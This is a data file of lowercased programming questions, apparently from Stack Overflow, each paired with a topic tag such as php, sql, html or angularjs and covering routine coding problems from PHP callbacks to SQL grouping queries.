call back function with $this  i am trying to use an instance method as a callback for php 5.2.1. i am aware that as of php 5.4 you can use <code>$this</code> inside a closure  and in php 5.3 you can rename <code>$this</code> to <code>$self</code> and pass that to the closure. however  neither of these methods will suffice since i need this to work for php 5.2.1. the two commented lines was my last attempt. that results in <code>fatal error: call to a member function hello() on a non-object</code> - is there anyway i can have a callback to an instance method in php 5.2.1    <pre><code>&lt; php  class test {      public function __construct() {          $self = &amp;$this;          $cb = function() use ( $self ) {             $self-&gt;hello();         };         call_user_func( $cb );           // $cb = create_function(  $self    $self-&gt;hello();  );         // call_user_func( $cb );      }      public function hello() {         echo  hello  world!\n ;     } }  $t = new test(); </code></pre>,php
save docx render with a specific path  i want to save a docx that i create. i use the gem <code>htmltoword</code>. the render is a function in the gem i think.    in my controller (but doesn t work) :   <pre><code>respond_to do |format|   format.html   format.docx do     @filepath =  #{rails.root}/app/template/#{@cvmodif.nom}.docx      render docx:  show   filename:  show.docx      send_file(@filepath  :type =&gt;  application/docx   :disposition =&gt;  attachment )   end end </code></pre>   i have a link. when i click on it  the docx is downloaded corectly. but i want to save it too in a custom path.   <pre><code>&lt;%= link_to  word   cv_path(@cvmodif  :format =&gt;  docx ) %&gt; </code></pre>   how can i do that,ruby-on-rails
cant getting result from child activity  i have a parent activity which is sending data to child activity but the child is not returning the result. i posted portion of code from both activity altogether below- theres a few code that i didnt post for unnecessity.   <pre><code>    public class tdeeactivity extends activity {      public static final int called_activity = 1;     @override     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_tdee);         button ok=(button)findviewbyid(r.id.btnok);         ok.setonclicklistener(new view.onclicklistener() {             @override             public void onclick(view arg0) {                 intent bmr= new intent(tdeeactivity.this bmractivity.class);                 startactivityforresult(bmr called_activity);             }         });         }      @override     protected void onactivityresult(int requestcode  int resultcode  intent data) {         super.onactivityresult(requestcode  resultcode  data);          switch(requestcode) {         case called_activity:             if (resultcode == result_ok) {                  toast.maketext(this   the result- +data.getextras().getstring( result )                          toast.length_short).show();             }         }      } }  // end class  public class bmractivity extends activity{       @override     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);        setcontentview(r.layout.activity_bmr);        button btnok=(button)findviewbyid(r.id.btnok);        btnok.setonclicklistener(new view.onclicklistener() {         @override         public void onclick(view v) {                 showresult();             }         });          public void showresult() {               intent data= new intent();             data.putextra( result  result);             setresult(result_ok  data);             finish();        }       }     }// end class </code></pre>,android
how can i get date of expiry from my barcode scanner   i am new in this field.i have implemented barcode scanner.i have got the proper value of barcode and barcode type.now is there any way to find the date of expiry using that value.please help me i don t have any idea about it.thanks in advance....,iphone
is there a tool for computing syllables in java   i am making a program that computes for the number of syllables in a given word/sentence. is there a tool that can compute accurately the syllables  i have here my codes but i think i need a more accurate way of counting syllables.   <pre><code>import java.util.*;  public class word  {     private string word;     private int syllablecount;      public void setword(string word)     {         this.word = word;     }     public string getword()     {         return word;     }     public int getsyllablecount()     {         scanner sc = new scanner(word);                 sc.usedelimiter( [aeiouy]+ );          while(sc.hasnext())             {                 syllablecount++;                 sc.next();             }          if (!word.endswith( a ) &amp;&amp; !word.endswith( e ) &amp;&amp; !word.endswith( i )  &amp;&amp; !word.endswith( o ) &amp;&amp;              !word.endswith( u ) &amp;&amp; !word.endswith( y ))             syllablecount = syllablecount - 1;          return syllablecount;     }      public static void main (string [] args)     {         int syllables;          word newword = new word();         newword.setword( the quick brown fox jumps over the lazy dog. );          syllables = newword.getsyllablecount();         system.out.println(syllables +     +  syllables );     } } </code></pre>,java
setting default fields on an ngresource model  i have an ngresource model representing a rest api endpoint. i d like to set some default fields on this model  so that the data that s posted is always correct. ideally i d like somethings like this:   <pre><code>resource = new resource({field1:  value1 ); resource.$save(); // post with data: { field1:  value1   field2:  defaultvalue  } </code></pre>   <a href= https://stackoverflow.com/a/21597807/37481 >this</a> answer seems to cover the same case  but i d rather have the defaults in place immediately after constructing the resource  rather than filling in at the last minute before posting. (the field i d like to default is an array  in case that makes a difference).    my factory looks like this:   <pre><code>.factory( resource   [ $resource       function($resource) {         var resource = $resource( /api/resource/:resourceid   {}  {             query: {method:  get   isarray: true}         }}         return resource;     } ]) </code></pre>   i ve tried poking around in the prototype of the resource before returning it  but can t figure out how to insert a default value there.,angularjs
query to get all users activity since last login  i want to create a query to get back <strong>all users</strong>  their <strong>last login date</strong> and how many questions they have answered since their last login.    i have the following query that does what i am looking for but with an individual user instead of all users.   <pre><code>select l.user_id      count(*) attemptssincelastlogin  from   production.score s     join processedquestion pq       on s.attempt_id = pq.attempt_id     join login l       on l.user_id = pq.user_id  where  l.user_id = 123    and s.selected_answer is not null     and pq.attempt_datetime &gt; (select max(in_datetime)                                from   production.login                                where  user_id = 123);  </code></pre>   i also have this query that gets all users and their last log in date but it doesn t have how many questions they have answered.   <pre><code>select user_id      max(in_datetime)  from   production.login  group  by user_id  </code></pre>   i am having trouble using these two queries to try and come up with one that brings back the data i am looking for all in one go. any help appreciated,mysql
word-wrap in a html table in mozilla  i have a html code its working fine in ie but its not working in mozilla    please see code below   <pre><code>&lt;!doctype html public  -//w3c//dtd html 4.0 transitional//en &gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;new document&lt;/title&gt; &lt;/head&gt;  &lt;body&gt; &lt;table bgcolor= #b6ebff  border= 3 &gt;  &lt;tr&gt;   &lt;td align= center  style= word-break: break-all; &gt;   thisisthetextabcdefghijklthisirrrrrrrrrrrrrrrrrrrsthetextabcdefghijklthisisthetextabcdefghijklthisisthetextabcdefghijklthisisthetextabcdefghijklthisisthetextabcdefghijklthisisthetextabcdefghijklthisisthetextabcdefghijklthisisthetextabcdefghijklthisisthetextabcdefghijklthisisthetextabcdefghijkl    &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td align= left  bgcolor= fffea8 &gt;this is the text&lt;/td&gt;  &lt;/tr&gt; &lt;/table&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   please help,html
how do i keep my text and my link on the same line in html  here is my code    <strong>code</strong>  <a href= http://puu.sh/csfqh/298a44fb3b.png  rel= nofollow >http://puu.sh/csfqh/298a44fb3b.png</a>    but it ends up like this <a href= http://puu.sh/csfek/857e4a15a8.png  rel= nofollow >http://puu.sh/csfek/857e4a15a8.png</a> i would like them to be on the same line.,html
check in base class if derived class  data structure contains string value  i was given a new project at work  and i am very new to c#.    i have a base class that will be derived many times  and so i am trying to come up with a way to check if a derived class contains a <code>const string</code> value from a <code>.contains()</code> method implemented in the base class. i cannot use a string array because i have to reference the string values by variable name when i am making calls to other methods in the derived class. the reason i want the base class to implement it is this project will be used for many years at my company  and once i pass it off  new hires will be the ones implementing the base class.    i don t want to implement multiple data structures to achieve this  i.e. a string array and an enum  for simplicity sakes.    what i want is something like this:   <pre><code>public abstract class base {    public bool contains(string s)    {         // some implementation here        // this would return true if somedatastructure        // contains a const string == s    } }  public derived : base {    somedatastructure {        const string =  string 1 ;        const string =  string 2 ;        const string =  string 3 ;    } }   </code></pre>   is this possible  and if so  what data structure and implementation would i use     thanks!,c#
angular $watch: typeerror: cannot read property of undefined  i have this <code>$watch</code> which applies a filter to a date format:   <pre><code>$scope.$watch(function() {     return pn.myobj.birthdate; } function(n o){     var dateview = $filter( date )(pn.myobj.birthdate  yyyy-mm-dd );     pn.myobj.birthdate = dateview; }); </code></pre>   the first time i load the page i read in console:    <blockquote>    typeerror: cannot read property  birthdate  of undefined  </blockquote>   how can i prevent problems arising in <code>$watch</code> when my object is <code>undefined</code>,angularjs
how to fix the error  there has been an overflow or underflow in gc memory pressure.   i am using c# for programming!    we have three load balance servers  it was working before  however we started getting below error now days for our portuguese website only and if i check the task manager it is an network service (<code>w3wp.exe</code>) taking lots of memory. once i kill that process from task manager it works fine and again tomorrow it starts coming.   <blockquote>    there has been an overflow or underflow in gc memory pressure. the possible cause is unbalanced addmemorypressure and removememorypressure calls  </blockquote>   i have already checked my sql connection in project  its all fine and are closed properly.    please suggest what can be the reason for this above error as its now started annoying us.    thanks!,.net
ios: add activity indicatior view in web view <pre><code>    class viewcontroller: uiviewcontroller   uiwebviewdelegate {           var  webview = uiwebview()           var boxview = uiview()            @ibaction func webview(sender: uibutton) {                  let activityview = uiactivityindicatorview(activityindicatorstyle: uiactivityindicatorviewstyle.gray)                          activityview.frame = cgrect(x: 20  y: 12  width: 40  height: 40)                  activityview.startanimating()                 webview.addsubview(activityview)                 webview.reload()                 let url = nsurl(string: http://www.sugoilabs.com )                        uiapplication.sharedapplication().openurl(url!)                     }                 override func viewdidload() {                       super.viewdidload()                // do any additional setup after loading the view  typically from a nib.                 }                 func webviewdidstartload(webview_pages: uiwebview) {                       webview.delegate = self                      // box config:                      boxview = uiview(frame: cgrect(x: 115  y: 110  width: 80  height: 80))                      boxview.backgroundcolor = uicolor.blackcolor()                      boxview.alpha = 1                      boxview.layer.cornerradius = 10                     // spin config:                     let activityview = uiactivityindicatorview(activityindicatorstyle: uiactivityindicatorviewstyle.gray)                     activityview.frame = cgrect(x: 20  y: 12  width: 40  height: 40)                     activityview.startanimating()                    // text config:                    let textlabel = uilabel(frame: cgrect(x: 0  y: 50  width: 80  height: 30))                   textlabel.textcolor = uicolor.blackcolor()                   textlabel.textalignment = .center                   textlabel.font = uifont(name: textlabel.font.fontname  size: 13)                   textlabel.text =  loading...                     // activate:                  boxview.addsubview(activityview)                  boxview.addsubview(textlabel)                  self.view.addsubview(boxview)              }             func webviewdidfinishload(webview_pages: uiwebview) {                   // removes it:                   boxview.removefromsuperview()             }   } </code></pre>,ios
how to use patch or delete method with link_to via ajax   i m adding a link in a helper via:   <pre><code>  def project_archive_link(project)     if project.archived        txt = t :unarchive     else       txt = t :archive     end      link_to(txt  archive_project_path(project)  method: :patch  class:  tablet_button )   end </code></pre>   i m then adding it to the page via a js.coffee file (ajax).  but the link  when clicked  always is submitted via get  not patch.    inspecting the source  i can see the <code>data-method= patch </code> attribute for the link.    update: it appears this is also true for delete links that are added to the page via ajax.    what gives,ruby-on-rails
something like rsync with the iphone-sdk  i m looking for an efficient means of copying an online file to the local iphone. something like rsync would be an ideal technology to use  since it only transfers the bytes that are different; does anyone have experience with anything that fits my description     what i m specifically trying to accomplish is the transfer of an sqlite database hosted via http to the iphone. i expect the database to grow in time; hence my search for an efficient means of transferring the data to the iphone.,iphone
rails join tables  i m trying to use the geokit plugin to calculate the distance between 2 points. so the idea is  i do a search for an article  and the results i want to order by distance. so i have a form where i enter the article (that im looking for) and my address. then rails must find all articles that match with my query and order by address.    so now  i have two models: article and user. articles belongs_to user and user has_many articles. at the user model i have the info related with my latitude and longitude.    so my article object has three fields:   <ul> <li>id</li> <li>name</li> <li>user_id (fk to user model)</li> </ul>   and my user model has four fields   <ul> <li>id</li> <li>name</li> <li>lat (latitude)</li> <li>lng (longitude)</li> </ul>   ok  to have access to the user info thru articles i do the query:   <pre><code>@articles = article.find(:all :conditions=&gt; vectors @@ to_tsquery( büch )  :joins=&gt;  inner join users on users.id = articles.user_id  :include=&gt;:user :origin=&gt; augustusplatz 8 leipzig germany ) </code></pre>   it works. but when i wanna add an :order=> distance asc  it fails because the order by query is using a article.lat  and article.lng fields to calculate the distance  but these fields lat and lng  are user object s members and not article member.    btw if i get the query generated by rails and i change the order by clause where uses articles.lat/lng to users.lat/lng it works.,ruby-on-rails
errors in compiling boost:thread in windows eclipse c++ plugin  i can get other boost libraries to work in eclipse c++ plugin  but have problem in boost thread. what s the problem       <pre><code>#include &lt;boost/thread/thread.hpp&gt; #include &lt;iostream&gt; using namespace std;  void hello() {    cout&lt;&lt; hello world! &lt;&lt;endl; }  int main() {     boost::thread thrd(&amp;hello);     cout&lt;&lt; just a test! &lt;&lt;endl;      return 0; } </code></pre>   error messages: <strong>** rebuild of configuration debug for project hello **</strong>    <em><strong></em> internal builder is used for build               **</strong>   <pre><code>g++ -ic:\boost_1_47_0 -o0 -g3 -wall -c -fmessage-length=0 -osrc\hello.o ..\src\hello.cpp in file included from c:\boost_1_47_0/boost/thread/win32/thread_data.hpp:12                   from c:\boost_1_47_0/boost/thread/thread.hpp:15                   from ..\src\hello.cpp:1: c:\boost_1_47_0/boost/thread/win32/thread_heap_alloc.hpp:59: warning: inline function  void* boost::detail::allocate_raw_heap_memory(unsigned int)  declared as  dllimport: attribute ignored c:\boost_1_47_0/boost/thread/win32/thread_heap_alloc.hpp:69: warning: inline function  void boost::detail::free_raw_heap_memory(void*)  declared as  dllimport: attribute ignored g++ -lc:\boost_1_47_0\stage\lib -ohello.exe src\hello.o -lboost_filesystem-mgw46-mt-d-1_47 -lboost_regex-mgw46-mt-1_47 -lboost_system-mgw46-mt-1_47 -lboost_thread-mgw46-mt-1_47 -lboost_date_time-mgw46-mt-1_47 src\hello.o: in function `main : c:\users\cmin\workspace\hello\debug/../src/hello.cpp:15: undefined reference to `_imp___zn5boost6threadd1ev  c:\users\cmin\workspace\hello\debug/../src/hello.cpp:15: undefined reference to `_imp___zn5boost6threadd1ev  src\hello.o: in function `thread&lt;void (*)()&gt; : c:/boost_1_47_0/boost/thread/detail/thread.hpp:204: undefined reference to `_imp___zn5boost6thread12start_threadev  collect2: ld returned 1 exit status build error occurred  build is stopped time consumed: 1044  ms.   </code></pre>,c++
dictionary properties in python <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/4984647/accessing-dict-keys-like-an-attribute-in-python >accessing dict keys like an attribute in python </a>    </blockquote>     is there a way to implement this in python   <pre><code>foo = { test_1 : 1  test_2 : 2} print foo.test_1 &gt;&gt;&gt; 1 </code></pre>   maybe if i extend dict  but i do not know how to dynamically generate functions.,python
how can i place these 2 in 2 different columns <pre><code>&lt;tbody&gt;  &lt;tr *ngfor= let person of check &gt;      &lt;td&gt;{{ person }}&lt;/td&gt;  &lt;/tr&gt;  &lt;tr *ngfor= let person of check2 &gt;       &lt;td&gt;{{ person }}&lt;/td&gt;   &lt;/tr&gt; </code></pre>    what can i do to keep these two in 2 different columns,html
convert varchar column to datetime  i have two columns as below. columna is a varchar. 9bd is an assigned number  10 is fiscal year  07 is month  and the rest is unique id. columnb is datetime.   <pre><code>columna            columnb   9db1007000001      8/7/2011 </code></pre>   i would like to seperate from columna into a month column (datetime) and a year column (datetime).    desired result from columna:   <pre><code>column month     column year  7                 2010 </code></pre>   or   <pre><code>7                 10 </code></pre>   i can seperate columnb into month column and year column. here is my attempted sql script.   <pre><code>select columna  datepart(mm  (columnb))    as month  datepart(yy  (columnb))    as year from my table </code></pre>   can someone please help  i did search within this website and found similar question but my attempted script produces error   <pre><code>--conversion failed when converting datetime from character string.  select cast(substring(columnb  5  2) + substring(columnb  3  2) as datetime) month_year  from my table </code></pre>   btw  this  <code>datepart(yy  (columnb))</code> function returns 2011. how can it return 11 instead   or should i submit another question,sql
how to remove this symbol after the consultation charges  hi in the below code i am getting this consultation charges: but after this heading it showing this symbol.i want to remove that how to do can any one help me form this issue    expected output:    main heading    subheading| ->how to remove this |    <strong>updated html</strong>   <pre><code>    &lt;table width= 100%  border= 1  style= width:100%;border-collapse: collapse;text-align:center &gt;         &lt;tr&gt;             &lt;th width= 12.5% &gt;&lt;b&gt;bill particular&lt;/b&gt;&lt;/th&gt;             &lt;th width= 12.5% &gt;&lt;b&gt;bill sub particular&lt;/b&gt;&lt;/th&gt;             &lt;th width= 12.5% &gt;&lt;b&gt;doctor&lt;/b&gt;&lt;/th&gt;             &lt;th width= 12.5% &gt;&lt;b&gt;date&lt;/b&gt;&lt;/th&gt;             &lt;th width= 12.5% &gt;&lt;b&gt;dis. amt.&lt;/b&gt;&lt;/th&gt;             &lt;th width= 12.5% &gt;&lt;b&gt;charge&lt;/b&gt;&lt;/th&gt;             &lt;th width= 12.5% &gt;&lt;b&gt;no. of times&lt;/b&gt;&lt;/th&gt;             &lt;th width= 12.5% &gt;&lt;b&gt;amount&lt;/b&gt;&lt;/th&gt;&lt;br&gt;         &lt;/tr&gt;         &lt;tr width= 100% &gt;&lt;th colspan=2&gt;consultation charges:&lt;/th&gt;&lt;br&gt;          &lt;/tr&gt;&lt;br&gt;            &lt;/table&gt; </code></pre>,html
when a button is clicked change css without javascript   when a button is clicked change css without javascript      i believe you can do it by making a button a checkbox instead      thank you,css
using microsoft internet backgammon dll  are we enable to use microsoft backgammon dll in our application  <a href= http://msdn.microsoft.com/en-us/library/aa939626%28winembedded.5%29.aspx  rel= nofollow noreferrer >http://msdn.microsoft.com/en-us/library/aa939626%28winembedded.5%29.aspx</a> for example bckg.dll is game logix. can we use it in out application,.net
the weirdest css issue i have ever seen  below i have 2 css codes for a div  please note that the first one does not even have a div on the page or anything with it s name on it.  i can also rename it to anything.    now where the weird part comes in.  the second bit of code below has a width of 520px  the only way that the div on the page will be 520px is if i leave the css code thats above that one  the 1st one with no existing div on the page has to be on the page for the second css code to work  at first i thought it has to be a browser caching issue  so i clear my cache and that does nothing  i then try 2 other browsers and they all have the same result.    i add the 1st bit of code into the page and the second bit works  i take the first bit away and the second bit does not work.  am i overlooking something here    <pre><code>.commentwrappsdfsde2{width:950px;margin:0 0;padding:0;}  .commentwrapper{width:520px;margin-right:auto;margin-left:auto;} </code></pre>   here is the whole page code   <pre><code>&lt;style&gt; &lt;!-- css for user photos--&gt; div.imagesub img.female { border-top: 1px solid #ff3399; } div.imagesub img.male { border-top: 1px solid #3399ff; } div.imagesub img { z-index: 1; margin: 0; display: block; } div.imagesub div {     position: relative;     margin: -15px 0 0;     padding: 5px;     height: 5px;     line-height: 4px;     text-align: center;     overflow: hidden;  font-family:trebuchet ms helvetica sans-serif;  font-size:12px;  font-weight: bold; } div.imagesub div.blackbg {     z-index: 2;     background-color: #000;     -ms-filter:  progid:dximagetransform.microsoft.alpha(opacity=70) ;     filter: alpha(opacity=70);     opacity: 0.5; } div.imagesub div.label {     z-index: 3;     color: white; } &lt;!-- end photo block--&gt; /* comments */ .commentwrappsdfsde2{width:950px;margin:0 0;padding:0;} .commentwrapper{width:520px;margin-right:auto;margin-left:auto;} #comments ol.commentlist li { list-style-type:none; padding:20px; background:none; } #comments ol.commentlist li.thread-even { background:#f6f6f6; border-top:1px solid #e3e3e3; border-bottom:1px solid #e3e3e3; }  #comments ul.children li ul.children #comments .commentlist{padding:0;} &lt;/style&gt;  &lt;div class= commentwrapper &gt;  &lt;div id= comments &gt;   &lt;ol class= commentlist &gt;    &lt;li class= comment thread-even   &gt;      comment 1     &lt;/li&gt;   &lt;/ol&gt;  &lt;/div&gt; &lt;/div&gt; </code></pre>,css
get image from website url iphone faster  hi i want to get image faster from website in iphone..    now i get image from website url using this function   <pre><code>nsdata *data; uiimage *favimage; data = [nsdata datawithcontentsofurl:[nsurl urlwithstring:websiteurl]]; favimage = [[uiimage alloc]initwithdata:data]; </code></pre>   but it takes some time to get image from website url. now i want get faster image means   what can i do   is there any api in apple iphone sdk     can any one help me      thanks in advance.....,iphone
programmatically discover the name of the .dmg  say i have a .dmg i click it to open it there s an app inside. i run the app (which i develop)    is there a programatic way for the executable to find out the name of the .dmg it s running from at runtime (if any)  perhaps a  get full path  which will include the name of that dmg  there are certain keywords on that .dmg name that may exist and if they do  i need to act upon them.,objective-c
android - capturing hardware button presses while in locked mode  we would like to be able to capture hardware button presses (long clicks) in android 2.3 when the device is locked.    there is a problem to listen to  volume_changed  event  as it does not change while the phone is locked.    how can i find the intents fired after pressing the hardware volume button  i know that it is problematic for services to listen to these events  but is it possible to start an activity as a result of this press  when we are in locked mode     thanks!,android
advertisement appearing in the middle of posts  a website i m managing seems to have these advertisements appearing in an absolute position on every page no matter how long the page is. so  sometimes  this advertisement link/image thing just meshes with the text and is incredibly annoying. i m assuming it has something to do with a footer positioning problem  i have tried to read up on this but i can t seem to understand what needs to be done.     an example of the problem is here  scroll down a tiny bit and you will see the offensive red links mixing with the picture    <a href= http://www.nussusave.org/what-we-do/green-hostels/  rel= nofollow >http://www.nussusave.org/what-we-do/green-hostels/</a>,html
sql: pulling id s from one table to get names from another table  suppose i have two tables. one has hair color and user id.    <pre><code>table a:  user_id   hair_color 1         black 2         black 2         black 3         blonde ... </code></pre>   and another that has user_id and name:   <pre><code>table b:   user_id    name 1          john 2          jane 3          sally </code></pre>   i want to get a list of all users who have blonde hair in a single command. the catch is  i also only want users who are duplicated in table a.    i m new to sql but i believe you can get all user_id s of people with blonde here who are duplicated with:   <pre><code>select     user_id from     a group by     user_id  hair_color having      count(*) &gt; 1 </code></pre>   but i m lost on how to convert the list of user_ids into actual names via table b. thoughts     (this is a trivial mwe  and i realize there would be much better ways of formatting the dbs.),sql
angularjs ng-repeat and video s ng-src  i have a basic <code>ng-repeat</code> loop that displays my content but if i use <code>ng-src</code> for video tags it causes this error:   <pre><code>error: [$interpolate:noconcat] error while interpolating: http://localhost{{post.media}} </code></pre>   i know i can use a <code>$sce</code> service but i am not sure how to utilize it in the context of <code>ng-repeat</code>...,angularjs
using case for multiple conditions in mysql query  here s a mysql  query which i am using to get the roles for a user along with the comments.  but there are some cases where a user can be admin for multiple cases  in which case this query doesn t work.    this only shows up the first role of the user as an admin.    what would be the right way to use <code>case</code> for this situation    <pre><code>   select u.fullname  c.comment       case when u.n_admin = 1 then  n_admin            when u.c_admin = 1 then  c_admin            when u.t_admin = 1 then  t_admin            when u.i_admin = 1 then  i admin            end as role      from  comments c      left join users u on u.id = c.user_id       where c.id= 34  </code></pre>,mysql
validation in rails without a model  i have a form that allows the user to send a message to an email  and i want to add validation to it. i do not have a model for this  only a controller. how should i do this in rails     i was considering doing the validation in the controller  and displaying the errors to the user using the <a href= http://api.rubyonrails.org/classes/actiondispatch/flash.html  rel= nofollow noreferrer >flash</a> object. is there a better way of doing this,ruby-on-rails
what datatype should i use to display date datatype in jquery datatable plugin   i used jquery datatable grid i want to bind date datatype in one of my coulmn i also want to sort the records based on date coulmn.i passed as string datatype for date column instead of date datatype.    which datatype can i use to sort string format date(month/date/year)  if i want to use date type what datatype can i pass for coulmn sorting,jquery
how can i get the expected result in sybase as below list sql  remove not changed row <pre><code>create table #test2( id int identity   request int null  step_no int null)  insert into #test2(request) values (12) insert into #test2(request) values (12) insert into #test2(request) values (30) insert into #test2(request) values (30) insert into #test2(request) values (30) insert into #test2(request) values (12) insert into #test2(request) values (24) insert into #test2(request) values (30) insert into #test2(request) values (30) insert into #test2(request) values (24)   get result: 12 30 12 24 30 24 </code></pre>,sql
daterange error in python  wrote a snippet in python that extracts data from database and displays them on the python shell however there is some silly mistake i am making since i only get a single date instead of dates in a range. my code is as follows:   <pre><code># open a database connection connection = mysqldb.connect ()  # prepare a cursor object using cursor() method cursor = connection.cursor ()  # execute the sql query using execute() method. cursor.execute ()  data = cursor.fetchall() ddt =  sorted(set(data))  def dte():   for row in ddt:    date = (   .join(map(str row)))   return date  print dte() </code></pre>   this is the output that i get: 2017-11-09 but instead i should get multiple dates in a range  for eg: 2017-06-17 2017-06-18 and so on.,python
how to align a div in the center of a html page   i ve to align some text in the center of the page with div tag.,html
how to double count column which already counted  please help me to solve the problem     my real table is:     <pre><code>id     group      numberoflevel(counted column)  1     10              4  2     10              2  3     11              2   4     11              1   5     11              3  6     11              2  7     21              1  8     21              2   9     30              1   10    40              2  </code></pre>   but i want to show:    <pre><code>group    1st_level      2nd_level    3rd_level     over4th_level  10         0              1            0                1   11         1              2            1                0  21         1              1            0                0   30         1              0            0                0   40         0              1            0                0 </code></pre>   which way do i need to use to show the table   please share experience,sql
uiwebview does not support border-bottom-style   in uiwebview  some of the styles i defined did not work  for example border-bottom-style.    does anyone know particular limitations of uiwebview in term of css style supporting,objective-c
how many languages does .net support   how many languages does the latest versions of visual studio (2012 and 2010) support     also  is it possible to create a new language in .net,.net
how to customize the  delete  button on swipe  how can i customize the  delete  button on swipe. i want to use the small button instead of using this red delete button. i know how to change the title but i want to change the size and  image of button.is it possible      as i am new  i am not allowed to upload images.       please help!,iphone
why does concatenating magic constants in classes cause fatal errors   if i create a simple php class that looks like this:   <pre><code>&lt; php  class test {     public $dir = __dir__.__file__;      public function __construct() {         echo $this-&gt;dir;     } }  new test(); </code></pre>   when the script runs  it fails with a fatal error:   <pre><code>parse error: parse error  expecting `     or ` ;   in test.php on line 4 </code></pre>   however  if i remove the concatenation  for example <code>public $dir = __dir__;</code>  the script works. why would concatenating magic constants in this way cause a fatal error,php
hot to byepass lan switch  my application is very time critical   it is written in .net 2.0 on windows server 2003 . it communicates with another application thru tcp/ip. both the applications are running on the same machine. my application is written in vb.net and of course i have got the source. i communicate to that foreign application thru a socket. i do not have the source of that foreign application. whenever i send a message to that application it takes the normal time as it is running on some other computer on the same network. i want to reduce the time by bypassing the switch. something like loopback. can any one help  if i connect that application via my normal ip address i.e 191.191.191.11 and port 8585 it connects. but if in my application i use the address 127.0.0.1 port 8585 it refuses to connect and i receive an error message saying the machine you are trying to connect to has actively refused the connection. what to do....can anyone help,.net
issue to retrieve excel file name which is more than 100 characters from sql server  i have a .net programme which retrieve excel from sql server table. everything was working fine.     now a user has a file name which is more than 100 is showing a trouble. 103 to be precise. i have increased the attachment file name length to 150. so the data type look like this.    attachment name varchar (150) - name of the file atachmentcontent varbinary(max) - stored in the binary attachmentextension varchar(5) - last 3 or 4 digits of every file.    when i run .net program  i can see the file is getting retrieved in the debug folder. but file is not able to open after that. excel opens with a message box which asks to  shorten the file name     after stopping .net execution  manually tried to open the file. it was the same message i received when i tried to launch. if i shorten the file name  i am able to open the excel file.     i am not sure what is happening here. i tried with a normal excel with almost 160 characters in the file name. that was found to be launching without any issue.     please help.,.net
how to use a dynamic value with ngclass  i m trying to apply a class name that s the same as a scope variable.    for example:    <code>&lt;div ng-class= {item.name : item.name} &gt;</code>    so that the value of <code>item.name</code> is added to the class.  this doesn t seem to do anything though.  any suggestions on how to do this     thanks!    edit:    this is actually being done within a select  using ng-options.  for example:    <code>&lt;select ng-options= c.code as c.name for c in countries &gt;&lt;/select&gt;</code>    now  i want to apply a class name that has the value of <code>c.code</code>    i found the following directive  which seems to work  but not with interpolation of the value:   <pre><code>angular.module( directives.app ).directive( optionsclass   [ $parse   function ($parse) {    use strict ;    return {     require:  select       link: function(scope  elem  attrs  ngselect) {       // get the source for the items array that populates the select.       var optionssourcestr = attrs.ngoptions.split(   ).pop()        // use $parse to get a function from the options-class attribute       // that you can use to evaluate later.           getoptionsclass = $parse(attrs.optionsclass);        scope.$watch(optionssourcestr  function(items) {         // when the options source changes loop through its items.         angular.foreach(items  function(item  index) {           // evaluate against the item to get a mapping object for           // for your classes.           var classes = getoptionsclass(item)            // also get the option you re going to need. this can be found           // by looking for the option with the appropriate index in the           // value attribute.               option = elem.find( option[value=  + index +  ] );            // now loop through the key/value pairs in the mapping object           // and apply the classes that evaluated to be truthy.           angular.foreach(classes  function(add  classname) {             if(add) {               angular.element(option).addclass(classname);             }           });         });       });     }   };  }]); </code></pre>,angularjs
incompatible pointer type   i am a newbie in programming  currently across some difficulties in my first school work. can anyone tell me am i doing on the right track  the aim of this code is to do add two numbers around 70 digits which cannot be done using the int or long int type in objective-c. the following code keeps getting warning: <strong>incompatible pointer types returning  nsstring *__strong  from a result type  mpinteger * </strong> help please  i have already been figuring out for ages and got nothing.    <strong>mpinteger.h</strong>   <pre><code>#import &lt;foundation/foundation.h&gt;  @interface mpinteger : nsobject @property (copy  nonatomic) nsstring * description;  -(id) initwithstring: (nsstring *) x; -(nsstring *) description; -(mpinteger *) add: (mpinteger *) x; </code></pre>   <strong>mpinteger.m</strong>   <pre><code>#import  mpinteger.h   @implementation mpinteger  @synthesize description;  -(id) initwithstring: (nsstring *) x {     self = [super init];     if (self) {         description = [nsstring stringwithstring: x];     }     return self; }  -(nsstring *) description {     return description; }  -(mpinteger *) add: (mpinteger *) x {     int carry = 0;     int index = 0;     int index2 = 0;     int i;     int num1;     int num2;     int result;       index = [description length];     index2 = [x.description length];       while (index2 &lt; index) {         x.description = [x.description stringbypaddingtolength:index withstring:@ 0  startingatindex:0];     }      for (i = index; i &lt;= index || carry != 0; i--) {         num1 = [description characteratindex:index];         num2 = [x.description characteratindex:index];         result = num1 + num2 + carry;         // if the sum is less than 10         if (result &lt; 10) {             nsstring *intstring = [nsstring stringwithformat:@ %i   result];             [description replacevalueatindex:index inpropertywithkey:intstring withvalue:@ %@ ];             // replace the description index value with the sum         } else { //otherwise             nsstring *intstring = [nsstring stringwithformat:@ %i   result];             //getting the index 1  is the value replace the description index value             [description replacevalueatindex:index inpropertywithkey:[intstring substringfromindex:1] withvalue:@ %@ ];             carry = 1;         }         index--; // decrement index     }     return description; } </code></pre>,objective-c
how do you start building an asp.net web app   say for example you re getting a web app project that interacts with a database.     how do you start your development  do you start by designing your database  drawing simple erd and writting a create scripts  do you start by designing the look of your of web app  maybe using photoshop  then create a master page for it  or do you start by designing your domain models  with minimal looks  and apply a preetier design later on     please share you thoughts on this... cheers...,asp.net
.net - why does one need to add assembly references to web.config   for several assemblies  it is not enough to add them as references in visual studio  but they also need to be present under the compilation / assemblies section in the web.config.    why  it does make things so much more troublesome in large projects:   <ul> <li>when changing references by removing/adding them  it does not update the web.config</li> <li>nuget does add the references but does not add an entry in web.config</li> </ul>   also  one needs to specify the public key token. what is it for,.net
one sql query for active users and inactive users   there is a table in database contains username status(active or inactive).i need to display a page contains two groups. first group will be for the active users and the second group will be for inactive users. only one select query is permitted to use. that means no separate sql statements for the two groups.,php
